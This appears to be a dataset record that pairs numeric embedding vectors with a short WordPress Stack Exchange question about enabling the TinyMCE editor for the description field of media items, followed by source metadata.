-0.031890869140625, -0.051361083984375, -0.0675048828125, -0.01070404052734375, -0.061004638671875, 0.06634521484375, 0.0164947509765625, 0.0286407470703125, -0.041900634765625, 0.02557373046875, 0.016693115234375, 0.059234619140625, 0.014739990234375, -0.0009198188781738281, 0.031646728515625, -0.017059326171875, 0.035125732421875, -0.031463623046875, -0.006290435791015625, -0.01727294921875, -0.04559326171875, -0.001224517822265625, 0.0019426345825195312, 0.0218658447265625, 0.035125732421875, -0.0214996337890625, -0.04229736328125, -0.0164794921875, -0.0295257568359375, -0.015380859375, 0.0120697021484375, -0.06378173828125, -0.0224609375, -0.043365478515625, 0.0592041015625, 0.0221710205078125, 0.001438140869140625, -0.00473785400390625, 0.060394287109375, 0.016021728515625, -0.036163330078125, -0.0106658935546875, -0.031646728515625, 0.00799560546875, 0.0137939453125, 0.0310211181640625, 0.003086090087890625, -0.007694244384765625, 0.056365966796875, -0.012847900390625, -0.0093536376953125, -0.032012939453125, 0.052642822265625, 0.016357421875, -0.005664825439453125, 0.005847930908203125, 0.0086822509765625, 0.02410888671875, 0.0007166862487792969, -0.038787841796875, 0.00402069091796875, -0.039642333984375, 0.0197601318359375, -0.0243377685546875, 0.04071044921875, -0.0245361328125, -0.00775909423828125, -8.344650268554688e-7, 0.02099609375, 0.03973388671875, -0.01023101806640625, 0.011993408203125, 0.0006995201110839844, 0.034912109375, 0.01378631591796875, 0.0192108154296875, -0.03057861328125, -0.0203399658203125, 0.020172119140625, 0.0146942138671875, 0.005023956298828125, 0.033538818359375, 0.0085296630859375, -0.023590087890625, -0.014678955078125, -0.027252197265625, -0.07379150390625, 0.004421234130859375, 0.002490997314453125, 0.007305145263671875, -0.01971435546875, 0.0191497802734375, 0.0465087890625, -0.05950927734375, -0.0231170654296875, 0.027191162109375, -0.005352020263671875, -0.061187744140625, 0.004489898681640625, 0.0264434814453125, -0.01367950439453125, 0.018341064453125, 0.0008292198181152344, 0.0158233642578125, -0.0047607421875, -0.0014982223510742188, 0.042724609375, -0.005260467529296875, 0.036102294921875, 0.01153564453125, 0.001987457275390625, -0.021240234375, 0.03399658203125, -0.01155853271484375, -0.012176513671875, -0.01175689697265625, 0.00847625732421875, 0.024383544921875, -0.0340576171875, -0.01137542724609375, 0.014190673828125, -0.0020923614501953125, 0.001407623291015625, 0.01287841796875, -0.05987548828125, -0.055877685546875, -0.0186614990234375, 0.0064544677734375, 0.042510986328125, -0.0240325927734375, -0.0308380126953125, -0.00579833984375, -0.030303955078125, 0.014495849609375, -0.0240936279296875, -0.031707763671875, 0.021820068359375, 0.01800537109375, -0.0099334716796875, -0.006549835205078125, -0.0216064453125, 0.0009512901306152344, -0.027557373046875, -0.0159454345703125, 0.0004718303680419922, 0.0706787109375, -0.032257080078125, 0.00676727294921875, 0.007656097412109375, -0.00960540771484375, -0.032257080078125, 0.0190582275390625, 0.0309906005859375, 0.010284423828125, -0.018707275390625, -0.0298919677734375, -0.028717041015625, -0.0006108283996582031, 0.0279998779296875, -0.0143280029296875, -0.01393890380859375, -0.0085906982421875, 0.0023937225341796875, 0.03265380859375, -0.006641387939453125, 0.022430419921875, 0.03985595703125, 0.022125244140625, -0.01593017578125, 0.12078857421875, -0.0028629302978515625, 0.004871368408203125, 0.019012451171875, 0.03271484375, -0.0010356903076171875, -0.048980712890625, -0.04217529296875, -0.006404876708984375, -0.053558349609375, -0.03582763671875, 0.054718017578125, 0.0208587646484375, 0.038787841796875, 0.030548095703125, 0.047454833984375, 0.043701171875, 0.01605224609375, -0.0003790855407714844, 0.00037217140197753906, -0.044769287109375, -0.00659942626953125, -0.0306854248046875, 0.000007748603820800781, -0.036102294921875, -0.01397705078125, 0.0046539306640625, -0.006011962890625, -0.006175994873046875, 0.00025844573974609375, -0.004840850830078125, -0.006267547607421875, 0.0286102294921875, 0.0234832763671875, -0.02032470703125, 0.0213623046875, 0.0204620361328125, 0.0194854736328125, 0.00348663330078125, 0.025482177734375, -0.0192718505859375, 0.005931854248046875, 0.004070281982421875, -0.01372528076171875, 0.0181732177734375, -0.005191802978515625, 0.00708770751953125, 0.031524658203125, -0.004558563232421875, -0.000606536865234375, -0.028564453125, 0.0108642578125, -0.0116729736328125, 0.013397216796875, -0.00225830078125, -0.012908935546875, -0.0018854141235351562, 0.0235748291015625, -0.0009036064147949219, -0.0163726806640625, -0.002399444580078125, 0.010772705078125, -0.0172119140625, -0.0032939910888671875, 0.0147552490234375, -0.0244140625, 0.01396942138671875, -0.0022602081298828125, 0.01593017578125, -0.0156707763671875, -0.0287322998046875, 0.026641845703125, -0.026702880859375, -0.004444122314453125, 0.03594970703125, -0.01126861572265625, -0.0203094482421875, -0.059814453125, -0.033111572265625, 0.014862060546875, -0.06396484375, 0.064453125, 0.051788330078125, 0.033111572265625, 0.049560546875, 0.023193359375, -0.0029811859130859375, 0.01018524169921875, -0.004199981689453125, -0.004077911376953125, -0.026397705078125, -0.00970458984375, 0.005611419677734375, -0.04156494140625, 0.01551055908203125, -0.0209503173828125, 0.0209197998046875, 0.005680084228515625, 0.044769287109375, 0.11181640625, -0.041656494140625, -0.046417236328125, 0.022735595703125, -0.0120086669921875, -0.0111083984375, -0.00811767578125, 0.0299530029296875, -0.0738525390625, -0.06988525390625, -0.0027904510498046875, -0.07293701171875, 0.000005662441253662109, -0.0170440673828125, -0.09039306640625, 0.125, 0.027374267578125, 0.055145263671875, -0.0211334228515625, 0.0494384765625, -0.02520751953125, -0.0018606185913085938, -0.007472991943359375, 0.0212249755859375, -0.0845947265625, 0.0281982421875, -0.0276336669921875, 0.0295867919921875, -0.001739501953125, 0.0013360977172851562, 0.0289764404296875, 0.007350921630859375, -0.028717041015625, -0.01151275634765625, 0.0380859375, 0.0177001953125, 0.002414703369140625, 0.0269927978515625, -0.0462646484375, 0.01270294189453125, -0.0266571044921875, -0.046630859375, 0.01837158203125, -0.0360107421875, -0.07611083984375, -0.00933074951171875, 0.0180511474609375, 0.044708251953125, 0.035186767578125, 0.033294677734375, -0.0198822021484375, 0.018524169921875, 0.055145263671875, -0.0836181640625, 0.0074615478515625, 0.00971221923828125, -0.018402099609375, 0.0087890625, 0.0002791881561279297, -0.00917816162109375, 0.02032470703125, -0.0140533447265625, 0.0404052734375, 0.025909423828125, 0.0269317626953125, 0.004791259765625, 0.00884246826171875, 0.0305328369140625, 0.033935546875, -0.04119873046875, 0.02581787109375, 0.013031005859375, 0.0042266845703125, -0.02056884765625, 0.05487060546875, 0.0270538330078125, 0.0201568603515625, -0.053558349609375, -0.033416748046875, 0.0115203857421875, 0.0014095306396484375, 0.0267333984375, -0.01239776611328125, 0.01493072509765625, -0.07806396484375, -0.0364990234375, -0.0039005279541015625, -0.007598876953125, 0.0269317626953125, 0.0311737060546875, 0.007495880126953125, 0.003330230712890625, -0.01554107666015625, -0.01264190673828125, -0.040374755859375, 0.01346588134765625, 0.02728271484375, 0.052154541015625, 0.003955841064453125, 0.06884765625, -0.0025043487548828125, -0.00705718994140625, -0.04364013671875, -0.0023956298828125, -0.01006317138671875, 0.07757568359375, -0.06591796875, -0.017730712890625, 0.037567138671875, 0.051361083984375, 0.01435089111328125, 0.03533935546875, 0.032562255859375, 0.0210418701171875, -0.01424407958984375, -0.001434326171875, 0.03564453125, -0.0206146240234375, 0.0231170654296875, -0.03851318359375, 0.035064697265625, -0.000029206275939941406, -0.006633758544921875, 0.01305389404296875, 0.01177978515625, 0.0297393798828125, -0.0301361083984375, 0.02923583984375, -0.0121307373046875, -0.05780029296875, 0.0027637481689453125, -0.00835418701171875, 0.0970458984375, 0.0035076141357421875, -0.06298828125, -0.0185089111328125, 0.011199951171875, -0.08892822265625, 0.03594970703125, 0.05938720703125, -0.0369873046875, 0.0021495819091796875, 0.0020732879638671875, -0.0002416372299194336, 0.005977630615234375, -0.00986480712890625, -0.00142669677734375, 0.0077362060546875, 0.032867431640625, -0.002513885498046875, -0.020294189453125, -0.0155487060546875, -0.0004930496215820312, 0.044158935546875, -0.0055389404296875, 0.06719970703125, -0.038726806640625, 0.03076171875, -0.0157623291015625, -0.0296478271484375, -0.02630615234375, -0.0027484893798828125, 0.005985260009765625, -0.0396728515625, -0.0245819091796875, 0.00818634033203125, -0.01007080078125, -0.03240966796875, 0.044403076171875, -0.0194549560546875, -0.0209503173828125, -0.01412200927734375, 0.0256805419921875, 0.017242431640625, 0.035675048828125, -0.0197906494140625, -0.034820556640625, -0.0302886962890625, -0.00666046142578125, 0.009002685546875, 0.0262603759765625, 0.04608154296875, 0.0214080810546875, 0.01153564453125, 0.00708770751953125, 0.0241241455078125, -0.00777435302734375, 0.051422119140625, 0.032958984375, -0.059356689453125, -0.00611114501953125, 0.0003185272216796875, -0.004306793212890625, -0.028045654296875, 0.019317626953125, -0.002964019775390625, 0.0016002655029296875, -0.039031982421875, -0.022613525390625, 0.0135498046875, 0.0164794921875, -0.026397705078125, 0.0125579833984375, 0.01111602783203125, -0.0213470458984375, -0.025604248046875, 0.069091796875, -0.0131988525390625, -0.041107177734375, -0.0071563720703125, -0.006656646728515625, -0.022705078125, -0.042938232421875, -0.042449951171875, 0.0015954971313476562, 0.0361328125, 0.037872314453125, -0.09637451171875, 0.05572509765625, 0.02691650390625, 0.0287628173828125, 0.014617919921875, -0.0226898193359375, 0.0050506591796875, 0.033905029296875, -0.05096435546875, -0.05731201171875, -0.034454345703125, 0.0093994140625, -0.07879638671875, 0.0167999267578125, 0.042327880859375, -0.0148468017578125, 0.004413604736328125, -0.0164031982421875, -0.002811431884765625, 0.046234130859375, -0.07275390625, -0.037322998046875, -0.0017528533935546875, 0.0133056640625, -0.01496124267578125, -0.049346923828125, 0.032012939453125, -0.06951904296875, -0.0146026611328125, -0.0166015625, -0.004245758056640625, 0.0034503936767578125, -0.050933837890625, -0.08831787109375, 0.0203704833984375, -0.005413055419921875, -0.03564453125, -0.0298004150390625, 0.01001739501953125, -0.01113128662109375, 0.0254364013671875, -0.0129241943359375, -0.00933837890625, -0.003704071044921875, 0.03948974609375, -0.00847625732421875, -0.0070648193359375, 0.055023193359375, -0.032684326171875, -0.026519775390625, -0.024871826171875, -0.0020599365234375, 0.00186920166015625, 0.030670166015625, -0.0181884765625, 0.048004150390625, 0.0267791748046875, -0.0267333984375, -0.00986480712890625, -0.0185699462890625, -0.06182861328125, -0.0280914306640625, -0.0293731689453125, -0.01629638671875, -0.01328277587890625, 0.0828857421875, 0.0167999267578125, 0.01043701171875, -0.02130126953125, 0.034423828125, 0.01165008544921875, 0.00521087646484375, -0.008514404296875, 0.01024627685546875, -0.06982421875, -0.057098388671875, 0.04840087890625, -0.0194091796875, -0.01409912109375, -0.0191802978515625, -0.050384521484375, -0.027130126953125, -0.060272216796875, -0.0030612945556640625, -0.055206298828125, 0.00911712646484375, 0.088134765625, -0.054168701171875, 0.009979248046875, 0.0258026123046875, -0.0161590576171875, 0.06451416015625, 0.0265350341796875, 0.005527496337890625, -0.0101470947265625, 0.00595855712890625, 0.0214385986328125, 0.0218505859375, 0.024749755859375, -0.01226043701171875, -0.01219940185546875, -0.0207672119140625, -0.013336181640625, 0.01287078857421875, -0.0281524658203125, 0.005886077880859375, 0.0133819580078125, -0.007755279541015625, 0.055084228515625, -0.032958984375, 0.01096343994140625, -0.0081634521484375, -0.0029163360595703125, -0.01531982421875, 0.0016393661499023438, 0.033294677734375, -0.0236663818359375, 0.0100555419921875, 0.01378631591796875, 0.0005664825439453125, -0.0204620361328125, 0.00592803955078125, -0.0093231201171875, 0.0076751708984375, 0.0016117095947265625 ]
e63baacfc862fd6b5ea17a925f3b2140278d8792
Wordpress Stackexchange Q: How can I use the TinyMCE editor for the description field on a Media item? When I view an image in my Media Library, the Description field textarea has a toolbar, but it's only for creating HTML tags. How can I get the TinyMCE wysywig editor to be used instead? I've found plugins for enabling this editor for users' biographies and the descriptions of taxonomy terms but not for media items.
Q: How can I use the TinyMCE editor for the description field on a Media item? When I view an image in my Media Library, the Description field textarea has a toolbar, but it's only for creating HTML tags. How can I get the TinyMCE wysywig editor to be used instead? I've found plugins for enabling this editor for users' biographies and the descriptions of taxonomy terms but not for media items.
wordpress
{ "language": "en", "length": 72, "provenance": "stackexchange_00019.jsonl.gz:485853", "question_score": "3", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/302429" }
[ -0.0145721435546875, -0.01288604736328125, -0.027069091796875, 0.035125732421875, -0.022979736328125, -0.0151824951171875, 0.0347900390625, 0.0024394989013671875, 0.0211181640625, 0.0655517578125, -0.0129547119140625, -0.01287841796875, 0.0247039794921875, -0.003509521484375, -0.06201171875, -0.01189422607421875, 0.00823211669921875, -0.0150604248046875, 0.01200103759765625, -0.005252838134765625, 0.018890380859375, -0.0155487060546875, 0.00970458984375, -0.0914306640625, 0.004222869873046875, -0.0020847320556640625, 0.0972900390625, -0.018585205078125, 0.011688232421875, -0.0243377685546875, 0.01763916015625, -0.01268768310546875, 0.01611328125, 0.021331787109375, -0.032196044921875, 0.043060302734375, 0.0024051666259765625, 0.0093231201171875, 0.012420654296875, 0.01366424560546875, 0.0228271484375, -0.0119476318359375, 0.01093292236328125, 0.00415802001953125, 0.00007712841033935547, -0.0297088623046875, 0.0263824462890625, -0.060028076171875, -0.004825592041015625, -0.044677734375, -0.00864410400390625, 0.004009246826171875, 0.01483154296875, -0.0065765380859375, -0.0274200439453125, -0.036773681640625, -0.00278472900390625, -0.0014715194702148438, 0.007110595703125, 0.0034580230712890625, -0.002994537353515625, 0.0386962890625, -0.0027980804443359375, 0.0235137939453125, 0.01477813720703125, -0.0038280487060546875, -0.0615234375, 0.0362548828125, -0.00484466552734375, -0.0020618438720703125, 0.006011962890625, -0.052825927734375, 0.02996826171875, -0.07672119140625, 0.0338134765625, 0.03076171875, -0.02001953125, -0.01094818115234375, -0.0012073516845703125, -0.01629638671875, -0.006000518798828125, 0.0285797119140625, -0.0269012451171875, -0.040069580078125, 0.031707763671875, 0.0145721435546875, -0.00867462158203125, -0.02618408203125, -0.02569580078125, 0.0277099609375, -0.0238189697265625, -0.0765380859375, -0.0004100799560546875, 0.060455322265625, 0.031707763671875, -0.00545501708984375, 0.009002685546875, 0.00798797607421875, 0.0304718017578125, 0.032379150390625, -0.00701904296875, -0.038665771484375, 0.031524658203125, -0.017059326171875, 0.0211944580078125, 0.003795623779296875, -0.04290771484375, -0.0254974365234375, 0.04791259765625, 0.039520263671875, -0.01898193359375, -0.0008120536804199219, 0.0178375244140625, -0.0229644775390625, 0.00521087646484375, 0.009063720703125, -0.0045928955078125, 0.0517578125, 0.005733489990234375, 0.042327880859375, -0.00600433349609375, -0.00408935546875, 0.0377197265625, 0.0267791748046875, -0.0262298583984375, -0.0167999267578125, -0.004547119140625, -0.022705078125, -0.01204681396484375, -0.0008420944213867188, -0.005390167236328125, 0.0286712646484375, -0.00971221923828125, 0.0159912109375, -0.0083465576171875, -0.003276824951171875, -0.0246734619140625, -0.0159454345703125, 0.0294189453125, -0.0127105712890625, -0.0099334716796875, 0.0054168701171875, 0.06646728515625, 0.0017766952514648438, -0.0215606689453125, 0.0230560302734375, 0.0304718017578125, 0.01084136962890625, -0.0255889892578125, -0.0438232421875, 0.004337310791015625, 0.0006823539733886719, 0.0180511474609375, 0.022796630859375, 0.051666259765625, -0.0435791015625, 0.1015625, -0.06573486328125, 0.0173797607421875, -0.07110595703125, 0.0281982421875, 0.0164947509765625, 0.02899169921875, -0.06414794921875, -0.057037353515625, -0.0419921875, -0.06396484375, -0.01212310791015625, 0.030853271484375, 0.01439666748046875, -0.0070037841796875, -0.05157470703125, 0.00665283203125, 0.0396728515625, 0.00501251220703125, 0.062744140625, -0.015533447265625, 0.040740966796875, 0.0595703125, -0.0168304443359375, -0.00955963134765625, -0.03802490234375, 0.08355712890625, -0.0194244384765625, -0.037933349609375, -0.0017032623291015625, 0.007373809814453125, 0.06298828125, 0.0281829833984375, 0.037506103515625, -0.02520751953125, 0.0011377334594726562, 0.0021076202392578125, -0.0190277099609375, 0.037689208984375, -0.021636962890625, -0.0390625, -0.016754150390625, -0.001800537109375, -0.02264404296875, 0.0687255859375, -0.02301025390625, 0.0181732177734375, -0.005489349365234375, -0.05828857421875, 0.0057525634765625, -0.0186309814453125, 0.00452423095703125, 0.0183563232421875, 0.01174163818359375, -0.006031036376953125, -0.01198577880859375, -0.005184173583984375, -0.00876617431640625, -0.035858154296875, 0.0011205673217773438, -0.021759033203125, 0.02923583984375, 0.040313720703125, 0.001781463623046875, 0.043212890625, 0.01177978515625, 0.060272216796875, 0.00499725341796875, 0.005283355712890625, 0.002010345458984375, -0.01073455810546875, 0.006618499755859375, 0.03900146484375, -0.0007448196411132812, 0.050048828125, 0.0017547607421875, 0.0126190185546875, 0.0164947509765625, -0.0233306884765625, -0.01439666748046875, -0.0240478515625, -0.08416748046875, 0.0144805908203125, 0.061492919921875, 0.0262908935546875, -0.00244903564453125, -0.02227783203125, -0.0026340484619140625, 0.07318115234375, 0.053955078125, 0.034881591796875, -0.01258087158203125, 0.0097198486328125, 0.053680419921875, 0.040985107421875, -0.0087127685546875, -0.00637054443359375, -0.05718994140625, 0.016937255859375, 0.00328826904296875, 0.0279083251953125, 0.02490234375, 0.03411865234375, -0.0086669921875, -0.0020751953125, 0.02581787109375, -0.018646240234375, 0.00717926025390625, 0.044952392578125, 0.038238525390625, 0.06134033203125, 0.053314208984375, -0.041015625, 0.031768798828125, -0.004810333251953125, -0.00231170654296875, -0.0019702911376953125, 0.039886474609375, 0.00595855712890625, -0.0127105712890625, -0.0435791015625, -0.0095367431640625, 0.0153350830078125, 0.0245819091796875, -0.00516510009765625, 0.036285400390625, -0.034912109375, -0.00995635986328125, -0.01953125, -0.0272674560546875, 0.0037078857421875, 0.0210113525390625, 0.0157012939453125, -0.0316162109375, -0.00908660888671875, 0.0237884521484375, -0.0225677490234375, 0.0435791015625, 0.01224517822265625, -0.0377197265625, 0.0220489501953125, 0.005992889404296875, 0.0273590087890625, -0.01702880859375, 0.0301055908203125, 0.043304443359375, -0.041656494140625, 0.0270538330078125, 0.00232696533203125, -0.0289764404296875, -0.0175018310546875, 0.0227508544921875, 0.0126800537109375, -0.00437164306640625, -0.0537109375, 0.006504058837890625, 0.01739501953125, -0.0139007568359375, -0.00835418701171875, -0.0248870849609375, -0.0164031982421875, -0.006587982177734375, -0.038330078125, -0.01172637939453125, -0.00118255615234375, -0.0955810546875, -0.003955841064453125, -0.011016845703125, -0.050201416015625, 0.0013513565063476562, 0.03668212890625, 0.0006189346313476562, -0.03521728515625, -0.00322723388671875, -0.0218353271484375, -0.0201568603515625, -0.043701171875, 0.0136871337890625, -0.005279541015625, 0.0219268798828125, 0.0267791748046875, 0.0665283203125, 0.033599853515625, -0.020599365234375, 0.062408447265625, -0.035308837890625, -0.01678466796875, 0.046661376953125, 0.0246734619140625, -0.03704833984375, -0.028411865234375, 0.022613525390625, 0.01236724853515625, 0.00485992431640625, -0.01971435546875, -0.017120361328125, -0.005748748779296875, -0.0022335052490234375, 0.03564453125, -0.0230712890625, -0.036956787109375, 0.01265716552734375, 0.024383544921875, -0.0380859375, -0.0037479400634765625, 0.0094757080078125, -0.0242767333984375, 0.005718231201171875, -0.006103515625, -0.02056884765625, -0.0045318603515625, 0.032562255859375, -0.02288818359375, 0.036590576171875, 0.021484375, -0.03533935546875, 0.0258331298828125, -0.0142974853515625, -0.04339599609375, -0.00543212890625, 0.0199127197265625, -0.032012939453125, 0.034271240234375, -0.0046539306640625, -0.01513671875, -0.0223541259765625, 0.04150390625, 0.00003719329833984375, 0.03759765625, 0.007778167724609375, -0.04364013671875, 0.045440673828125, -0.0364990234375, 0.00542449951171875, -0.015899658203125, 0.0421142578125, -0.004825592041015625, -0.007717132568359375, 0.0237884521484375, -0.010833740234375, -0.0052490234375, 0.047515869140625, -0.061767578125, -0.0059814453125, -0.0272369384765625, 0.0036163330078125, 0.030426025390625, -0.04327392578125, -0.0374755859375, 0.05792236328125, -0.04327392578125, -0.00824737548828125, 0.0171356201171875, -0.004161834716796875, -0.0189666748046875, -0.00051116943359375, -0.02520751953125, -0.021942138671875, 0.004055023193359375, -0.037078857421875, -0.0758056640625, -0.01285552978515625, -0.02081298828125, 0.074462890625, 0.006671905517578125, -0.00004649162292480469, -0.00864410400390625, 0.051727294921875, 0.01030731201171875, 0.0133056640625, 0.0301971435546875, 0.0090179443359375, 0.015899658203125, -0.00414276123046875, 0.023284912109375, -0.02935791015625, -0.0185546875, -0.0279083251953125, -0.0304412841796875, 0.0151824951171875, -0.0231475830078125, -0.008026123046875, -0.0022640228271484375, -0.022064208984375, -0.02899169921875, -0.0131988525390625, -0.0051422119140625, 0.02239990234375, -0.0173187255859375, -0.01335906982421875, -0.0294647216796875, -0.0295867919921875, 0.035491943359375, -0.00078582763671875, 0.0236358642578125, 0.003253936767578125, 0.07562255859375, -0.00006479024887084961, -0.01442718505859375, -0.045684814453125, -0.036376953125, 0.042022705078125, 0.0308074951171875, -0.0088348388671875, 0.003307342529296875, -0.048675537109375, 0.0450439453125, 0.032745361328125, 0.057403564453125, -0.07110595703125, 0.054534912109375, -0.01080322265625, -0.0025920867919921875, 0.0361328125, -0.0020313262939453125, -0.005706787109375, -0.0350341796875, -0.0265045166015625, 0.0311431884765625, -0.02398681640625, 0.010650634765625, 0.0180206298828125, 0.00948333740234375, -0.02313232421875, -0.0138702392578125, -0.01384735107421875, 0.010406494140625, 0.0460205078125, 0.00884246826171875, 0.010498046875, -0.016693115234375, 0.0216064453125, -0.01849365234375, 0.007076263427734375, -0.01192474365234375, -0.0108795166015625, -0.00011610984802246094, 0.022247314453125, -0.026092529296875, 0.00518035888671875, -0.0137939453125, -0.01041412353515625, -0.0038471221923828125, -0.050506591796875, 0.0014829635620117188, 0.01232147216796875, 0.044097900390625, 0.025421142578125, 0.034210205078125, -0.023162841796875, 0.0203399658203125, -0.004886627197265625, 0.0321044921875, 0.0657958984375, 0.013397216796875, -0.0028858184814453125, 0.0193939208984375, 0.00571441650390625, -0.001995086669921875, -0.00649261474609375, 0.07916259765625, -0.027008056640625, 0.0224609375, -0.001506805419921875, 0.0640869140625, 0.0197601318359375, 0.0284423828125, 0.0035839080810546875, 0.0286407470703125, -0.0017480850219726562, 0.00408935546875, -0.039306640625, -0.033294677734375, -0.00687408447265625, 0.01381683349609375, 0.01165008544921875, 0.006587982177734375, -0.0141143798828125, 0.011871337890625, -0.0235595703125, 0.005191802978515625, -0.010711669921875, -0.07452392578125, -0.05560302734375, 0.0144500732421875, 0.05181884765625, 0.03466796875, -0.028961181640625, -0.02410888671875, -0.015655517578125, -0.048980712890625, 0.01361846923828125, -0.01345062255859375, -0.0169830322265625, 0.014984130859375, 0.0002586841583251953, 0.0109710693359375, -0.015838623046875, -0.03350830078125, -0.05377197265625, -0.039825439453125, -0.0031375885009765625, 0.0288848876953125, 0.0770263671875, -0.036590576171875, -0.0173492431640625, -0.0216827392578125, 0.027313232421875, -0.09423828125, 0.021484375, 0.022979736328125, 0.032470703125, 0.033538818359375, -0.02581787109375, -0.046966552734375, -0.043548583984375, -0.0654296875, -0.0489501953125, -0.033966064453125, 0.002899169921875, -0.0152435302734375, 0.023345947265625, 0.025115966796875, 0.0433349609375, -0.00659942626953125, 0.01611328125, -0.0237884521484375, 0.0188140869140625, -0.0119476318359375, -0.0031414031982421875, -0.005512237548828125, 0.028350830078125, -0.02099609375, -0.031890869140625, -0.0078125, -0.009674072265625, -0.0025730133056640625, -0.056732177734375, -0.025970458984375, 0.0102996826171875, -0.027984619140625, 0.03411865234375, -0.00121307373046875, 0.0034942626953125, 0.0191650390625, -0.044464111328125, -0.00485992431640625, -0.034942626953125, 0.035003662109375, -0.08160400390625, -0.005565643310546875, -0.0233154296875, -0.051666259765625, 0.00464630126953125, 0.005733489990234375, -0.004543304443359375, 0.041595458984375, -0.03533935546875, 0.033172607421875, 0.0213470458984375, -0.0225067138671875, 0.035308837890625, 0.034912109375, -0.034759521484375, -0.007022857666015625, 0.0151519775390625, -0.046966552734375, -0.01230621337890625, 0.0241851806640625, 0.00899505615234375, 0.00007098913192749023, 0.0286712646484375, -0.0004837512969970703, 0.0120697021484375, 0.018768310546875, -0.0128021240234375, 0.00525665283203125, 0.027099609375, 0.066162109375, -0.053131103515625, 0.00740814208984375, 0.03594970703125, -0.01361846923828125, -0.02020263671875, -0.046142578125, 0.01226043701171875, -0.031646728515625, 0.083740234375, -0.0092315673828125, -0.022064208984375, 0.015777587890625, -0.04052734375, -0.004085540771484375, -0.00185394287109375, 0.041290283203125, 0.00848388671875, -0.01654052734375, -0.059295654296875, 0.048980712890625, -0.044097900390625, 0.019683837890625, 0.0285186767578125, -0.038055419921875, -0.0003800392150878906, 0.0164642333984375, 0.024688720703125, -0.0249176025390625, 0.001209259033203125, 0.00849151611328125, 0.048309326171875, 0.0178375244140625, 0.0396728515625, -0.005092620849609375, 0.0132904052734375, 0.0096588134765625, -0.01190185546875, 0.028778076171875, -0.014862060546875, 0.0012874603271484375, 0.01513671875, 0.0120697021484375, -0.01001739501953125, 0.011199951171875, -0.00919342041015625, -0.01230621337890625, -0.00881195068359375, 0.03436279296875, -0.0295867919921875, 0.0016336441040039062, 0.031036376953125, 0.01305389404296875, -0.0018053054809570312, -0.043853759765625, -0.016815185546875, -0.08489990234375, -0.01421356201171875, -0.04107666015625, -0.0277557373046875, 0.00984954833984375, -0.048126220703125, -0.0660400390625, 0.10260009765625, 0.036956787109375, -0.00211334228515625, -0.0258026123046875, 0.06036376953125, -0.040618896484375, 0.03387451171875, 0.0019130706787109375, -0.00684356689453125, -0.026947021484375, -0.01001739501953125, -0.0195770263671875, -0.0038166046142578125, -0.0118408203125, 0.0380859375, 0.0283203125, 0.0154876708984375, -0.03619384765625, -0.0251617431640625, 0.00974273681640625, 0.0310516357421875, -0.002788543701171875, 0.03924560546875, 0.029937744140625, -0.037689208984375, 0.0211029052734375, 0.03302001953125, 0.05865478515625, -0.04351806640625, -0.0006084442138671875, 0.040679931640625, -0.0003216266632080078, -0.009002685546875, 0.0232086181640625, -0.00803375244140625, -0.01186370849609375, -0.0024929046630859375, 0.0195770263671875, -0.064697265625, -0.01507568359375, 0.041839599609375, 0.0141754150390625, -0.038818359375, 0.004108428955078125, -0.04034423828125, 0.040496826171875, -0.01500701904296875, 0.0215301513671875, -0.003826141357421875, 0.0028553009033203125, 0.048492431640625, -0.0032501220703125, 0.004680633544921875, 0.0300445556640625, 0.0037555694580078125, -0.0184326171875, -0.040679931640625, -0.00429534912109375, -0.0732421875, -0.02154541015625, 0.04473876953125, 0.0130157470703125, -0.0143280029296875, -0.029541015625, 0.006977081298828125, 0.005092620849609375, -0.00797271728515625, -0.024993896484375, -0.026397705078125, 0.00418853759765625, 0.0452880859375, 0.044891357421875, -0.0174407958984375, -0.004131317138671875, 0.03973388671875, 0.0225067138671875, 0.02459716796875, -0.017333984375, -0.028228759765625, -0.042694091796875, 0.032379150390625, 0.01434326171875, 0.034027099609375, -0.0036182403564453125, 0.061553955078125, -0.0168609619140625, -0.01090240478515625, -0.0360107421875, 0.048980712890625, 0.0300140380859375, 0.039306640625, -0.031524658203125, -0.0027256011962890625, 0.00933837890625, 0.0233154296875, 0.01322174072265625, -0.0160064697265625, -0.014068603515625, 0.017364501953125, 0.02703857421875, -0.01393890380859375, 0.0166015625, 0.0030078887939453125, 0.00438690185546875, -0.035980224609375, 0.0054168701171875, 0.03826904296875, -0.01422119140625, 0.002109527587890625, -0.033599853515625, 0.068115234375, -0.046478271484375, 0.062408447265625, -0.01192474365234375, -0.01373291015625, 0.057769775390625, -0.035980224609375, 0.06695556640625, -0.01238250732421875, -0.0506591796875, -0.02288818359375, 0.04693603515625, -0.0540771484375, 0.006603240966796875, 0.04180908203125, -0.032745361328125, 0.01464080810546875, -0.0224456787109375, -0.01355743408203125, -0.005405426025390625, -0.01953125, 0.0304718017578125, -0.032196044921875, -0.026947021484375, -0.021759033203125, -0.01548004150390625, -0.004901885986328125, -0.01416778564453125, 0.045379638671875, 0.03167724609375, 0.040496826171875, -0.01450347900390625, 0.0550537109375, -0.061920166015625, 0.026214599609375, -0.04052734375, -0.0391845703125, -0.0091705322265625, 0.05792236328125, 0.023773193359375, -0.01446533203125, 0.00792694091796875, 0.08917236328125, -0.01153564453125, 0.0167083740234375, 0.037017822265625, -0.02496337890625, -0.0161895751953125, 0.0130157470703125, 0.009429931640625, -0.01953125, -0.0225830078125, -0.009429931640625, -0.0013256072998046875, 0.0033626556396484375, 0.01300048828125, -0.0030117034912109375, 0.0145111083984375, 0.06396484375, -0.020416259765625, 0.027130126953125, -0.025604248046875, 0.044403076171875, 0.03662109375, 0.05474853515625, -0.01502227783203125, 0.006805419921875, -0.0166015625, -0.0007982254028320312, 0.0113067626953125, 0.02764892578125, -0.0001723766326904297, -0.053924560546875, 0.052154541015625, -0.007091522216796875, 0.038330078125, -0.0266571044921875, -0.0247802734375, 0.022979736328125, 0.0199432373046875, -0.02508544921875, -0.0008096694946289062, -0.03460693359375, -0.03759765625, 0.0006661415100097656, 0.0163726806640625, -0.02996826171875, -0.0386962890625, -0.09759521484375, -0.0302886962890625, 0.01090240478515625, -0.00980377197265625, -0.00632476806640625, 0.01253509521484375, -0.0098114013671875, -0.0213165283203125, 0.0029582977294921875, -0.0005521774291992188, -0.0102996826171875, 0.020416259765625, -0.057098388671875, -0.0391845703125, -0.057769775390625, -0.004322052001953125, -0.062408447265625, 0.040863037109375, 0.0592041015625, -0.047271728515625, -0.012176513671875, 0.055511474609375, 0.04766845703125, 0.08636474609375, -0.01503753662109375, -0.022216796875, 0.02789306640625, -0.0089569091796875, -0.01319122314453125, -0.03399658203125, -0.020172119140625, -0.0173797607421875, 0.0217437744140625, -0.032318115234375, 